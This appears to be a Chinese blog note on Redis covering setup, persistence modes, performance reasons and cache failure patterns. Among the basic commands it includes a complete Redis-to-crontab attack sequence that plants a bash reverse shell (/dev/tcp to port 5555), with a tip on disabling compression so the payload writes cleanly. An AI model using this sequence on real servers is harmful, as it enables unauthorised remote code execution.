redis小记
下载redis
sudo apt-get install redis-server
redis基本命令
ubuntu16下的redis没有protected-mode属性,就算sudo启动,也不能往/var/spool/cron/crontabs写计划任务,感觉很安全
在线Cron表达式生成器:http://cron.qqe2.com
Linux系统默认的cron任务使用 五段式时间表达式(不含秒和年)
#连接到redis
redis-cli -h 127.0.0.1 -p 6379 -a your_password
#退出redis命令行
quit
#删除数据库中的所有键
flushall
#查看所有键值对
keys *
#查看该键的值
get keyname
#更改Redis的工作目录
config set dir /var/spool/cron/crontabs #这个目录后面save会报错
#设置键值对8:...
#注意计划任务上下要换行防止redis的一些乱码信息污染
SET 8 "\n\n* * * * * bash -i >& /dev/tcp/127.0.0.1/5555 0>&1\n\n"
#更改Redis数据库文件的名称
config set dbfilename root
#命令Redis保存当前数据库状态到磁盘
save
#改配置
vim /etc/redis/redis.conf
#一些操作
sudo systemctl disable redis-server #禁止redis自启动
ps -aux |grep redis
kill -9 进程号
sudo systemctl stop redis-server
sudo systemctl status redis-server
sudo systemctl restart redis-server
redis持久化方式
AOF
AOF是一种日志持久化方式,它记录了服务器执行的所有写操作命令。这些命令会以追加的方式写入到AOF文件中,当Redis需要恢复数据时,只需执行AOF文件中的命令就可以恢复到原来的状态。
appendonly yes
RDB
RDB是一种快照持久化方式,它通过定期将Redis内存中的数据集保存到磁盘上的一个二进制文件中(通常命名为dump.rdb)。这个文件是一个紧凑的二进制文件,包含了某个时间点的完整数据快照。当Redis重新启动时,它可以加载这个RDB文件,恢复到上次保存的时间点。
rdbcompression yes
查看redis配置文件redis.conf
rdbcompression yesrdb持久化开启时,save会进行压缩存储导致一些乱码

关闭一下再save
config set rdbcompression no

redis为什么快

- 数据存储在内存中
在现有的存储层次中,存储介质有多种类型,寄存器是最快的,仅用于处理器内部操作,L1、L2、L3级缓存主要用于临时存储属于用以加快处理速度。
而我们接触最多的内存,用于存储程序运行的临时数据,访速度远远快于硬盘。
而固态硬盘及机械硬盘则用于存储长期数据,速度相对较慢。
而redis是基于内存的,比常规的磁盘访问速度要快1000倍,这是redis快的原因之一。

2. IO多路复用&单线程读写
redis快的第二点原因在于IO多路复用&单线程读写
多个套接字通过io多路复用汇总到一个单线程事件循环中,所以redis不需要为每个事件创建单独的线程,IO多路复用可以实现对客户端连接的高效管理,从而实现在单线程在依旧可以处理成千上万的并发请求。
redis的单线程任务处理,可以避免线程切换的开销,也可以保证高效,无需担心多线程并发的问题

3. 高效的数据结构
而第三点redis快的原因是它采用的一些高效的数据结构
其中最核心使用到最多的就是SDS及skiplist,redis中用到最多的数据类型是字符串,它采用的就是SDS,Simple dynamic strings,简单动态字符串,它有如下特点
-
在数据的头部记录了字符串的len,所以查询时间为o(1)
-
优化内存管理,首先是内存预分配,当 SDS 增长时,它会预分配多于实际所需的内存,记录这些额外的空闲空间(free space)。这样,如果字符串后续需要进一步扩展,直接利用这部分空闲空间,而无需重新分配内存。当 SDS 缩短时(例如通过截断操作),空出来的空间不会立即释放,而是记录在 free 字段中,供未来再利用。
-
二进制安全,SDS不以空字符串来判断字符串是否结束,而是以len属性表示的长度来判断字符串是否结束,所以支持存储任何二进制数据。
还有一种数据结构是skip list
跳表(Skip List)用于实现 Sorted Set 数据结构,支持快速的范围查询和插入操作。
跳表通过多层索引优化查找效率,查询时间复杂度为 O(log n),适合处理大量有序数据。
缓存击穿
缓存击穿的定义是,用户高并发地对某个已经失效的 Redis key 进行请求,从而导致 MySQL 的压力剧增而系统宕机的情况。
如下图所示:

其对应的解决方案包括三种:
(1)将 Redis key 设置为永不过期;
(2)从 MySQL 中读取数据时,将 Redis 中没有的 key 重新加载进来;
(3)通过分布式锁限制访问;
缓存穿透
缓存穿透的定义是,用户高并发地对某些在 Redis 和 MySQL 都不存在的 key 进行请求,从而导致 MySQL 的压力剧增而系统宕机的情况。
如下图所示:

其对应的解决方案包括两种:
(1)将不存在的 key 存放进Redis中当出现在 Redis 和 MySQL 中都查不到该数据的情况时,我们就把该数据的 key 保存在 Redis 中,把 value 设置为 null,并为其设置较短的过期时间。后面再有请求查询该数据的时候,就被 Redis 挡住直接返回 null,而无需二次查询 MySQL 了。该解决方案的优点是实现简单,无需过多的代码改动,缺点则是无法解决大量不存在的随机 key 进行访问的场景。
(2)使用布隆过滤器
布隆过滤器是一种空间效率很高的概率型数据结构,用于判断一个元素是否存在于一个集合中,具有较高的空间效率和查询速度,但可能会产生误判。
如果布隆过滤器判定某个 key 不存在布隆过滤器中,那么就一定不存在,反之判定某个 key 存在,那么极大概率是存在的(存在一定的误判率)。
我们可以通过 Redis 实现一个布隆过滤器,将 MySQL 中所有记录的 key 存储在布隆过滤器中,在请求访问 MySQL 前先通过布隆过滤器判定其是否存在,判定为不存在的请求直接丢弃,判定存在的请求再访问 MySQL 进行查询,从而避免了对 MySQL 的查询压力。
缓存雪崩
缓存雪崩的定义是,用户高并发地对系统进行请求期间,Redis 中的 key 在某一个时刻大规模失效,从而导致 MySQL 的压力剧增而系统宕机的情况。
如下图所示:

其对应的解决方案包括三种:
(1)将 Redis key 设置为永不过期;
(2)通过限流降级来降低 MySQL 压力;
(3)修改 Redis key 过期时间的策略,避免其在同一时刻出现大量过期的情况,比如:在每个 key 的失效时间上设定一个随机值;
607

被折叠的 条评论
为什么被折叠?



